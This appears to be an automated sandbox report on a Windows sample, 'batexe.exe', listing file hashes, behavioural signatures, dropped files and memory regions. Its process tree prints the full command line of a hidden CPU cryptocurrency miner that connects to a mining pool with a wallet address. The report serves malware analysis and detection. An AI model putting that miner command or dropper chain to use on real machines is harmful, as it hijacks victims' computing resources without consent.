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Analysis

  • max time kernel
    297s
  • max time network
    310s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    24/02/2024, 22:39

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3240
    • C:\Users\Admin\AppData\Local\Temp\8388.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\8388.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8388.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2508
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8FBD.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3360
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4836

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\8388.tmp\b2e.exe

    Filesize

    16.1MB

    MD5

    b51e69d6e0d2d37e324d32189fd3089f

    SHA1

    2c466ef448877fb96d6fafeb212e536f7b2bbd6a

    SHA256

    15ea3e7cafa59383479d75248d749ac6e204b066d3c2f5b8770146966ed22821

    SHA512

    eecd88f6dd3abd3bd17b3939ab96574ece113e5136069cf998437846de8fd3d82a3db2ea0295f7be5a06e9df9212e7a9c1106ef336d1ae8ce2cfd0f3576e0512

  • C:\Users\Admin\AppData\Local\Temp\8388.tmp\b2e.exe

    Filesize

    2.6MB

    MD5

    f845d6b8c0beb43591f7ebc96344f81b

    SHA1

    5bcb9d96f6589b559060e11d6d5a0bf73d91c80e

    SHA256

    841b8431f27f5e631d37c605530e6ce5430559c96fa9a6ddebc7e9dd63ad04b2

    SHA512

    8de293211ad14117c9ecb797c78c738c91b691f3dc861401d537cc72c9ba05a40340c452938bd6d72bf400efa1fffb7bb387f204035697b8a229a29288d5d357

  • C:\Users\Admin\AppData\Local\Temp\8388.tmp\b2e.exe

    Filesize

    3.1MB

    MD5

    842c79959bf5827eca0ac8f68b167943

    SHA1

    f1a2dc800303312f356fa88b9487f1de28955ae3

    SHA256

    4bec7252d6eb8518a56bab297f2e66f20309409ee3d4135bb71732999a984777

    SHA512

    c1f08f69129a1e238a2987310c296125896544f55e78e273109d08a747c78ee30f860f73aa8fd876221b6845743bbc45294f83af2f9c20612ae360a50c146d0a

  • C:\Users\Admin\AppData\Local\Temp\8FBD.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1024KB

    MD5

    1ad6167569badab73bb51c7109b56693

    SHA1

    85c80eff3810728aeb4af1cdfc6984facaeeb6c0

    SHA256

    2a0237405f10841de2c9a5d337e1ae7ef626e562194dc6d096d92ae81e88aea6

    SHA512

    e219d97f0dc3b5f94798dc75f5328b4e7282c420fbb4ed1b44fb1e17941486f244fa28ccd73f55fcaa299a9b2526395a6a81d20a7ff26d9fe02bad77fec68648

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    832KB

    MD5

    9b527cc7775e3fefc75ebd6cf497b81b

    SHA1

    7405b4528854589bc404f55c0e591d2e534d8d63

    SHA256

    eb4270d5203fe07ee63a7161093d69577ada5ad4ca659a6181d63953a69bca72

    SHA512

    6471f61ebc78e6ab30cce7cb444c582a8a24cbcbff1a8cc3d22d20d299d53c6377127e76bcc2a1e2c9108cd65d6fb89d42ddf89b04140c8e225f5115984a4b85

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    832KB

    MD5

    d33f0e6bb5e8d2b9e111a90544790dc8

    SHA1

    df4e81d22638d511e761744e886c33bc12096c48

    SHA256

    40729edf62213c039a1818c9adb9478aa0284bb26dd071bd1ac4de1da2470048

    SHA512

    ce4ebeae054117d4de8b3fe2403d95a6d819483269f851618958e864887e9b2f42fc9c893e1aa207dfa2d94900c8f4214a67796ddeb2a80ce655d69ec290d629

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    768KB

    MD5

    613807ad6d525aded318b643c33bc17e

    SHA1

    2c9a4180140838c69c20bc4047c3d2d777d3bee4

    SHA256

    896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

    SHA512

    d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.9MB

    MD5

    7df0f05f019cf1d6c6e3a65a4741ad01

    SHA1

    ea49f6406265c0ee2c0ebad2ee0133009ab98d4a

    SHA256

    831fb4a0aa4af0c01abf48c3530b4d5927422cc2b76287bd4062d38a4563962f

    SHA512

    11a931282ba18b6f5695d51a7a82f6075a80f1ee43b457650d758de0808ac417831c1d69e47ee2a000a67a3fee744a55262306e7ba3db99ab59b5301c7351ce0

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.8MB

    MD5

    79f30eb5167f995681800c2518aa8e37

    SHA1

    5e121a4568798083193ca5e80a62f4ead41d7518

    SHA256

    04d1a3417abfce718f42008cc05cf95beacec714ef4d411a4f2b53e34f903897

    SHA512

    b63b549073b2a420829c26908b87539fc29c86a4bdc2cafd1f8cf8e0af95ae97a26d86d38d1e73aaa0dbbd2440dbbfc4c5865cef7682d00abdee868a24d928d8

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    576KB

    MD5

    2caab2ad7ccd18421c96ea2ef5b9e602

    SHA1

    a629673c12e88ef88f30cbe8da12d3afb9a7d42c

    SHA256

    c16fbf658c970a716b976abe7c5d9f1b1a42dacd55a43b16fec0ecc6b84f0552

    SHA512

    aa9692584947d7fdbe843e877430ade40c5b4c6e15887005a292065d6f8e1303abc8dfc2bf50c01fb032bdfeca5bb2aa9312ba44d7ba4e2d3529d07bfd008969

  • memory/2508-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2508-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3240-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4836-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4836-46-0x0000000072E00000-0x0000000072E98000-memory.dmp

    Filesize

    608KB

  • memory/4836-47-0x0000000001070000-0x0000000002925000-memory.dmp

    Filesize

    24.7MB

  • memory/4836-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4836-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4836-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB